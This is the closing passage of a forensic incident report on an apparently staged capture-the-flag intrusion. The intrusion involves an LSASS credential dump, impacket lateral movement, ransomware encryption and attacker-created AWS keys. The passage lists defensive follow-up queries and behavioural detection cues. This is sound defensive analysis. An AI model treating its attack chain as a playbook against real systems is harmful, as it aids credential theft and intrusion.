Detection takeaway: waiting for VT coverage on this operator's binaries would miss every intrusion they run. Detection must come from behaviour (injected thread → LSASS · impacket 5-service dance · SYSVOL staging) and from binary-pattern YARA (Addendum V), not from signature databases.

OQ. Open questions — seven follow-on investigations this corpus can't close on its own

Every claim in this report is tied to a preserved artifact. These seven questions require data the triage corpus does not contain — they are the follow-on work a real IR would hand off to the next-shift analyst or to the cloud provider.

  1. Pre-existing IAM access-key baseline. CloudTrail shows CreateAccessKey success on donnieworks · doctorderm · coolcat at 21:45:51 / 21:46:04 / 21:46:14. To prove these were attacker-created (not pre-existing), pull aws iam list-access-keys CreateDate for every IAM user and compare to the attack-day window. DD7 relies on the absence of prior CreateAccessKey events in the 36 938-row CloudTrail window, which is strong but not definitive.
  2. Lambda function inventory. The CTF author's ListFunctions calls from 216.82.9.162 (DD6.1) show Lambdas were deployed during scenario build; their role (if any) in the attack chain is untested. Pull aws lambda list-functions + GetFunction + recent InvokeFunction records to see if any Lambda was touched by the attacker.
  3. IAM role baseline — off-instance use prior to 21:42:11. The 384 ec2.amazonaws.com AssumeRole events on attack day establish the in-VM baseline. A wider query (prior 7–30 days) would surface whether iam_role_iisserver was ever used off-instance before the attack; that baseline either confirms the 21:42:11 event as anomalous or requires reframing the detection rule.
  4. Attacker's CloudTrail-bucket enumeration outcome. 21:47:25 ListObjects aws-cloudtrail-logs-… confirms the attacker looked at the CloudTrail bucket. Did any follow-on GetObject / PutObject land on that bucket in the following minutes? If yes, the attacker may have read or tampered with their own log trail.
  5. barry-testing123123 bucket contents. The attacker enumerated but did not exfiltrate this bucket. Was it empty, or was there sensitive content deprioritised? Pull the bucket manifest from the CTF author's account.
  6. RDP clipboard bytes via rdpclip.exe. The IamBatman.exe + sysAV.bat drop to \\LAF-DC02\sysvol\ at 21:03:54 / 21:04:05 is most plausibly an Explorer GUI paste from the operator's workstation clipboard (DD5.2). The actual RDP-clipboard stream is not in the corpus; recovering it would require packet capture on 198.51.100.3 → DC02, which the triage does not contain.
  7. abedgdaa.dmp file content. The LSASS dump written by the injected thread at 20:03:30 is not preserved in the KAPE triage (KAPE does not collect C:\Windows\Temp\ by default). Re-parsing the SVR01 memory image with vol3 windows.dumpfiles --pid 1332 could carve the dump back out; pairing it with the hashdump plugin results (already in the corpus) would reconstruct exactly which credentials the attacker walked away with.

None of these are gaps in this report's conclusions — the attacker's path, tooling, impact, and residual risks are all closed. These are the operational follow-ups a defender should queue if this were a live engagement, independent of the forensic narrative.

Case N404-2026-0308 resolved.

164 minutes of active adversary time (18:38:29 → 22:22) · 2h 44m active dwell · 6,023 files encrypted + 2,530 notes · 3 live AKIA keys stockpiled. Preceded by a 13:39:16 scenario-validation hit from the AWS-account admin IP (DD23.6) that proves the attacker infrastructure is scenario-provisioned, not external — threat model downgrades accordingly, findings remain valid. Fully reconstructed from KAPE triage · cloud log export · and one raw memory image.

Signed  ARCLIGHT6  / Verialabs DFIR TLP-AMBER · for analyst eyes
CASE CLOSED · 2026-04-20